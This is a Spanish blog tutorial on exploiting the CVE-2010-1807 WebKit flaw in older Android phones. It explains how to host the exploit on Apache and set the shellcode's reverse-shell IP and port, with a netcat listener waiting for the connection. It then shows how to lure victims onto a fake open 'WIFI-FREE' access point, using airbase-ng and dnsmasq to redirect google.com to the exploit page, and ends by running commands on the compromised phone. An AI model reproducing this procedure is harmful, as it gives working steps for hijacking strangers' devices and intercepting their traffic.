Recientemente se publicó una vulnerabilidad en WebKit (CVE-2010-1807), utilizado por Safari y Chrome, que también afecta al browser de los móviles con Android.
La vulnerabilidad fue descubierta por M.J. Keith, quien también publicó un exploit durante una conferencia en Houston, y luego Itzhak Avraham, realizó algunas mejoras sobre el mismo para darle un mayor grado de éxito a la explotación.
Esta vulnerabilidad afecta a móviles Android versión 2.1 e inferiores, si bien la ultima versión 2.2 no esta afectada, no todos los fabricantes de móviles u operadores de telefonía, obligan a sus usuarios a actualizar el software.
Por ejemplo, en mi caso estoy usando un Motorola Milestone con Android 2.1-update1, y si bien la versión 2.2 esta disponible hace ya un buen tiempo, Motorola recién comenzará a realizar upgrades para Milestone en Latinoamérica en el primer trimestre del 2011.
Una vergüenza por parte de fabricantes y operadores!
Explotando Android
Para explotar esta vulnerabilidad, el móvil con Android debería visitar un sitio Web que posea el código malicioso.
Podríamos hacer esto en Internet, o como lo vamos a hacer a continuación, levantar un Access Point falso para darle Internet a personas con móviles, y cuando realicen una solicitud especifica de DNS, redirigirlos a una Web local con el código malicioso.
1. Preparando el Exploit
Bajamos el exploit y lo dejamos en el home de Apache con el nombre «index.html»:
nano /var/www/index.html
/etc/init.d/apache2 start
En las primeras líneas del exploit mejorado por Itzhak podemos encontrar la posibilidad de fácilmente cambiar la dirección IP y el puerto en el shellcode:
var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1 var port = unescape("\u3930"); //port 12345 (hex(0x3039))
En este caso, una vez que la explotación sea exitosa, se va a producir una conexión reversa a la IP «192.168.0.1» en el puerto «12345», por lo que deberíamos dejar escuchando Netcat en ese puerto:
Con lo hecho en el paso anterior, ya estaríamos en condición de atacar exitosamente a una víctima si utilizáramos una dirección IP pública en Internet.
Pero la idea a continuación, es levantar un Access Point falso con airodump-ng para que las personas con móviles se asocien a el en busca de Internet gratis, y cuando realicen un pedido DNS especifico lo reenviemos a nuestro Apache con el código malicioso.
Primero vamos a configurar Dnsmasq, quien nos va a proveer el servicio de DNS y de DHCP para nuestro Access Point falso. Si no lo tenemos instalado, lo podemos hacer de la siguiente forma:
apt-get install dnsmasq /etc/init.d/dnsmasq stop
Luego debemos asegurarnos de configurar en que interfaz de red va a escuchar Dnsmasq, configurar el rango de direcciones IP que entregará a las víctimas, y cual será el dominio que será redireccionado a nuestros Apache con el exploit, en este caso «google.com»:
Si tenemos Internet, seria una buena idea forwardear todo el trafico para que la víctima crea que esta en una red Wireless común y corriente, y de paso tenemos la posibilidad de capturar algo de trafico:
Finalmente levantamos el Access Point falso con airabase-ng, y configuramos la interfaz de red «at0», creada por airbase-ng, con la dirección IP a donde se realizará la conexión reversa:
En este caso, la red se llama «WIFI-FREE», aunque podríamos realizar otra variedad de ataques similares.
3. Atacando a la Víctima
Por mi experiencia con el Motorola Milestone, cuando encendemos la placa Wireless del móvil, hay que detectar las redes en el área, y conectarnos manualmente a la que queremos, mas halla de que este abierta y sin cifrado. Luego de hacer esto, la siguiente vez lo hace automáticamente.
Cuando la víctima esta conectada, el trafico de red pasara normalmente hasta que quiera ingresar a «www.google.com«, en donde será redirigido a nuestro Apache y obtendremos una conexión reversa en el Netcat que dejamos escuchando:
Una vez que recibimos la conexión reversa podemos ejecutar comandos de Android como «/system/bin/id» o «/system/bin/ps» para verificar que efectivamente pudimos acceder al dispositivo.